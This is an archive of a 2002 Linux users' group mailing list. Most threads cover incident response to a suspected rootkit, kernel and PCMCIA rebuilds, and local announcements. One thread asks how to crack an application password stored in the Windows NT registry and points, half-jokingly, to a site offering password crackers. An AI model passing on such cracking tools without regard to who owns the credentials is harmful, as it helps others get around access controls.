weeks > back, I changed all passwords, ran chattr +ui on some specified directories Hmm.... the fact that you had an intruder is not a good sign. Even though you changed the passwords, etc, there may have already been someting in place that passed that info back to the intruder. Any idea on how long the intruder had access to your system? Personally, I would cut my loses - print (yes print) any config files that you want to re-implement, wipe the box and re-install from scratch. Or if you have the disk to spare, rebuild the system on a new disk. Once done, mount up the old disk - dont run anything from it - and give it a thorough going over - see if you can figure out what was done to compromise the system. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:00:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 13:00:23 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: You said you found an intruder on your box a few weeks back. Do you know how they got in? On Wed, 19 Jun 2002, technomage wrote: > ok, > done all of this (even written them to a text file for later review). so far, > I don't see anything unusual. I have a couple of non-standard (installed > myself) servers running here (ircd and opennap) and I know which ports those > are on. everything else appears to be as normal (including their port > assignmanets). > > I'vew also verified all packages on the "infected" machine and found no > discrepencies that wouldn't be accounted for (some conf files were changed, > but those I already know about as I was the one that modified them). > everything else checks out. > > as a safety measure when I first found an intruder on my system some weeks > back, I changed all passwords, ran chattr +ui on some specified directories > (/bin, /sbin, /usr/bin, /usr/bin/X11R6, /usr/sbin) to make sure the files > couldn't be modified without my knowing about it (this at the suggestion of > tom perry). I checked the package verification against a log of the last time > I did so,. which was 4 weeks ago) and noted only minor changes (mostly in > some logs and 1 or 2 conf files that I know about). > > The kernel on this box does not have modules support (not needed as this is a > gateway box for my lan and I only needed certain items (such as the devices > on board and iptables) compiled in. this was specifically to prevent the > introduction of "hijacked" modules. > > as it is, I was thinking ahead security wise when I placed this unit online. > > anything else I should be doing? > > Technomage > > On Wednesday 19 June 2002 07:59 am, you wrote: > > It's possible that the "lsof" command wasn't trojaned, since most root > > kits don't check for it. Try "lsof -ni" and see if there's any difference > > between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" > > from another machine that you know hasn't been compromised (a fresh install > > is best, and make sure it's the same arch/distro). If lsof shows an > > unusual port, check to see what program is running in the far left column. > > Locate that program and run "strings" on it to get more info. This should > > get you started. Keep us updated on what you find. > > Thanks, > > ~M > > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:51:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 13:51:06 -0700 Subject: Ethical hacking/cracking In-Reply-To: <3D10BDB5.9070402@esaravana.com> References: <3D0FBA65.9060506@esaravana.com> <200206181629.36140.zen2now@qwest.net> <3D10BDB5.9070402@esaravana.com> Message-ID: <200206191351.06077.zen2now@qwest.net> Who me? just remember i didnt send you there. :~D slr On Wednesday 19 June 2002 10:21 am, Sundar wrote: > You are a dangerous man. I downloaded an application and it cracked > without a hassle. > > Thanks, > Sundar > > slr wrote: > >i didnt say this! > > > >but check out http://www.blackcode.com/, they several password crackers on > >their site. the only thing is you will have to register to download files. > > > >remember i didnt send you there. :~D > > > >slr > > > >On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > >>Hello, > >> > >>Would you guys know of hacking/cracking the password key stored in > >>Windows NT registry by an application? Application in question is 'Funk > >>Software Proxy' and it seems to have stored the password in binary form. > >> > >>(The guy who ghost imaged the system left the company and now we have to > >>connect to them.) > >> > >>Any help is appreciated > >> > >>Sundar > >> > >> > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:58:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 19 Jun 2002 13:58:04 -0700 (MST) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: On Wed, 19 Jun 2002, technomage wrote: > done all of this (even written them to a text file for later review). so far, > I don't see anything unusual. I have a couple of non-standard (installed > myself) servers running here (ircd and opennap) and I know which ports those > are on. everything else appears to be as normal (including their port > assignmanets). ...[SNIP]... > as it is, I was thinking ahead security wise when I placed this unit online. > > anything else I should be doing? Well, you should probably consider a remote security analysis scan to determine any vulnerabilities in your system/services and also to check for any backdoors that are now available. To do this, you could support a PLUG member and local business and visit Edgeos at http://www.edgeos.com. :) -- ~Jay From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:04:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 14:04:40 -0700 Subject: gentoo 1.2 In-Reply-To: <000d01c217c7$617e40b0$0301010a@tickticker.com> References: <200206180935.52647.zen2now@qwest.net> <200206190901.00430.zen2now@qwest.net> <000d01c217c7$617e40b0$0301010a@tickticker.com> Message-ID: <200206191404.40420.zen2now@qwest.net> wow!!! kewl site, i have added it to my BM's. thx for the link. slr On Wednesday 19 June 2002 12:27 pm, tickticker wrote: > linuxiso.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:48:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 14:48:02 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619195509.4110.qmail@web14008.mail.yahoo.com> References: <20020619195509.4110.qmail@web14008.mail.yahoo.com> Message-ID: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> according to the "last" command, he logged in as a user on one of my accounts and was on for 6 minutes. I checked elsewhere and found that there had been no other activity (even to checking the backups of some of the history files that are made each hour). after than, I checked to make sure there weren't any outbound connections to his IP range (there weren't). I used a clean box as a sniffer for this. I then proceeded to change all system passwords and user account passowrds. Then, I loaded clean versions of rpm, etc and proceeded to do a package verification. I even did md5 checksum comparisons and sig checking. I checked with a couple of folks I know in the computer security field (one of whom is currently serving duty with the US navy at their fascility in southern california (the USN Naval Post Graduate School). Given information from him (and others), I made an assumption that the intruder hadn't gotten very far into my system, and that since all passwords were changed immediately following the incident AND that the offending ip range (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other incursions until yesterday evening. what I find odd is that the incursion didn't stick. said "invisible processes" that wer recorded before aren't there now. just as a measure, I also made sure that my system has current patches for apache (which I do run a webserver here on port 8000) and I've tested any cgi scripts and other things using a tool called nessus. so far, after the last 12 hours, I can't seem to find any evidence that an incursion (intrusion) has taken place other than that 1 log entry written by chkrootkit that one time. so, I'm at a loss. am I trojaned or not? Technomage On Wednesday 19 June 2002 12:55 pm, you wrote: > --- technomage wrote: > > ok, > > > > > as a safety measure when I first found an intruder on my system some > > weeks back, I changed all passwords, ran chattr +ui on some specified > > directories > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > you changed the passwords, etc, there may have already been someting in > place that passed that info back to the intruder. Any idea on how long the > intruder had access to your system? > > Personally, I would cut my loses - print (yes print) any config files that > you want to re-implement, wipe the box and re-install from scratch. > > Or > > if you have the disk to spare, rebuild the system on a new disk. Once > done, mount up the old disk - dont run anything from it - and give it a > thorough going over - see if you can figure out what was done to compromise > the system. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:52:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 14:52:14 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619215213.XTFB1378.fed1mtao03.cox.net@there> yes, they used my user account (after having gained info from another rootkitted system at another location where I sometimes came in from (other place in town). the intrusion happened within days of the rootkitted machine being discovered at the other location (my account there also had the same password). However, I have a policy of now chaning passwords on a once-per-week basis (I have a random password generator here now). in any case, I don't think he got very far as I caught the intrusion initially only hours after it happened. Technomage On Wednesday 19 June 2002 01:00 pm, you wrote: > You said you found an intruder on your box a few weeks back. Do you know > how they got in? > -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 22:15:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 15:15:24 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: It's possible that those mystery processes only ran one time and covered up their activity afterwards, or maybe they run at some regular interval, who knows. Personally, I would sleep better at night after rebuilding the box. Also, I would recommend that you have different passwords for different sites. You don't want a security hole at one site completely opening your boxes at another site (as was the case with you). It's even better if each box has a different password from all the others. ~M On Wed, 19 Jun 2002, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 22:06:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 19 Jun 2002 15:06:18 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> References: <20020619195509.4110.qmail@web14008.mail.yahoo.com> <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: <1024524379.1365.0.camel@shiva.soulmachine.com> If you are unwilling to reinstall from scratch then at least replace your kernel and get fresh binaries for all base components (as much as /bin and /usr/bin as you can handle). On Wed, 2002-06-19 at 14:48, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 08:25:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Nash) Date: Wed, 19 Jun 2002 08:25:26 +0000 (UTC) Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: Have you considered structuring your partitions appropriately so things *can't* be replaced? An example would be mounting lib and binaries trees in read-only form, and requiring maintenance windows at the console to update them. Proper kernel restrictions like not allowing the use of mount under normal running conditions would cut down on rootkit implants under standard kiddie attempts. - billn On Wed, 19 Jun 2002, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 23:10:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Wed, 19 Jun 2002 16:10:02 -0700 Subject: Gnucash 1.6.6 References: <200206190037.18890.plug@the-arcanum.org> Message-ID: <3D110F4A.84214D16@earthlink.net> Well you got further than I did!! I tried on Mandrake 8.1 distro, but had trouble getting the various libs in and running. I'll be looking forward to your solution(s)! pete Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Has anyone built gnucash 1.6.6 ? > I built it tonight and everything went smooth, but when I try to load it, it > says slib is missing and I may need to create a symlink to slib in my guile > directory. > My guile is in /usr/share/guile > Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib > > I've tried as root and my user. > Anyone else have this problem? > > nathan > - -- > > Nathan England > plug@the-arcanum.org > jabber id: linuxjunkie@earth.jabber.li > > "A free society is one where it is safe to be unpopular." > -- Adlai Stevenson > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9EDSuQ7yNnsYcupwRAvJ0AJ9j7Amm7wC+0zjdLvhEby9FPuCIMQCeLvVr > u73LzZDYaZcmaR/zXWj68BE= > =JqV+ > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 23:34:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 19 Jun 2002 16:34:30 -0700 Subject: linuxiso.org - download just about every flavor there is References: <200206180935.52647.zen2now@qwest.net> <200206190901.00430.zen2now@qwest.net> <000d01c217c7$617e40b0$0301010a@tickticker.com> <200206191404.40420.zen2now@qwest.net> Message-ID: <007101c217e9$dc469ff0$0301010a@tickticker.com> For those of you that missed the thread.... www.linuxiso.org is THE place to get isos either directly or use their mirrors. however new packages can take up to a week to appear. Anthony ----- Original Message ----- From: "slr" To: ; "tickticker" Sent: Wednesday, June 19, 2002 2:04 PM Subject: Re: gentoo 1.2 > wow!!! kewl site, i have added it to my BM's. > thx for the link. > > slr > > On Wednesday 19 June 2002 12:27 pm, tickticker wrote: > > linuxiso.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:31:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 13:31:48 -0700 (MST) Subject: [PLUG-announce]PLUG announces intro to GNU/Linux classes Message-ID: moin, moin, starting on Wed, the 4th of Sep, 2002, PLUG will start holding monthly classes designed to teach the basics for using GNU/Linux as a desktop operating system. The classes will meet the first Wed every month starting at 19:00. They will be held at Sequoia Charter School, the same location as PLUG's monthly east side meeting. Sequoia, 1460 S. Horne in Mesa, is located just north of US 60 on the west side of Horne. There is NOT a freeway ramp at Horne, so take the Mesa or Stapley exit north to Southern. Turn south onto Horne and look for Sequoia on the right at the beginning of the ramp over the freeway. Contact classes@PLUG.phoenix.az.us for questions about the classes. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 00:44:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Wed, 19 Jun 2002 20:44:05 -0400 Subject: Need help with IRQ conflict with pcmcia network card Message-ID: <20020620004407.ZZSL3893.lakemtao05.cox.net@smtp.central.cox.net> The kernel (2.4.18) finally compiled (after 8 hours - see below) and actualy works! However, I now get an IRQ conflict with my ethernet pcmcia card! I get the error message 3c589_cs RequestIRQ: Resource in use in /var/log/messages. I added the line module "3c589_cs" opts "irq_mask=0x2240" to /etc/pcmcia/config.opts, but I still get the same message (based on the /etc/pcmcia/interrupts file and the bios settings, IRQ 6, 9 and 13 should be free; hence the 0x2240). My ethernet card is a 3Com 3c589D (Etherlink III) pcmcia card. Any brilliant (or not so brilliant) ideas will be greatly appreciated! Mark > > From: Mark Phillips > Date: 2002/06/18 Tue PM 11:47:16 EDT > To: plug-discuss@lists.plug.phoenix.az.us, kevin_brown@qwest.net > Subject: Re: Re: Need Help with Redhat 7.3 Install > > Kevin, > > Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. > > I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: > > 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) > 2. I removed the pcmcia stuff as you described below. > > I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. > > You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? > > I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). > > I will let you know if I find any other problems. > > Thanks again! > > Mark > > > > From: "Kevin Brown" > > Date: 2002/06/17 Mon PM 07:12:36 EDT > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Need Help with Redhat 7.3 Install > > > > I gave Mark a call this morning, but thought I'd send this out to the list since > > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > > package from the system. > > > > rpm -e kernel-pcmcia-cs > > > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > > kernel.org > > wget > > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > > wget > > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > > cd /usr/src > > tar -xvzf ~/linux-2.4.18.tar.gz > > rpm -ivh ~/kernel-2.4.18.src.rpm > > cd /usr/src/redhat/SOURCES > > cp kernel-config- /usr/src/linux/.config > > > > Alter the config of the kernel: > > cd /usr/src/linux > > make menuconfig > > > > Remove PCMCIA Support > > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > > hit n to remove it, then exit config and save the changes > > > > make dep && make clean && make bzImage && make modules && make modules_install > > > > Wait for it to finish. On my P150 this took most of the night to do. > > > > cd /usr/src/linux/arch/i386/boot > > cp bzImage /boot/vmlinuz-2.4.18 > > > > Assuming you are using grub, edit /etc/grub.conf > > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo > > > > Easy way to edit both is to copy the config that is currently booting and rename > > kernel it is loading. > > > > Reboot the system and select the recently compiled kernel. > > > > Now rebuild PCMCIA support. > > > > cd /usr/src > > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz > > cd pcmcia-cs-3.1.34 > > make config && make all && make install > > > > You should be able to accept the defaults during make config. Once done test by > > starting it up. > > > > /etc/rc.d/init.d/pcmcia start > > > > Hope this helps. > > > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > > > Thanks! > > > > > > > > > > > > Mark Phillips > > > Phillips Marketing, Inc. > > > 480.945.0798 > > > 480.945.9197 fax > > > mark@phillipsmarketing.biz > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 00:44:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Wed, 19 Jun 2002 19:44:47 -0500 Subject: jaz drive Message-ID: <20020619194447.A7194@lilly.csoft.net> Anyone know where I can pick up a 2Gb scsi Jaz Drive? I'm in the market. v/r mike From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 20:10:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 16 Jun 2002 13:10:51 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020619093307.024ec210@localhost> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <200206161310.51377.wokan@cox.net> It would be a lot more civil than the way Monoposoft has treated its users, distributors, partners, and even it's beloved MCSE's. On Wednesday 19 June 2002 09:34, Kimi A. Adams wrote: > Would this be civil? > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >According to the state administrative rules, it looks like most if not all > > of the school districts could be required to initiate debarment > > proceedings against MS. Anyone know an attorney who is willing to take > > something like this on pro-bono? > > > 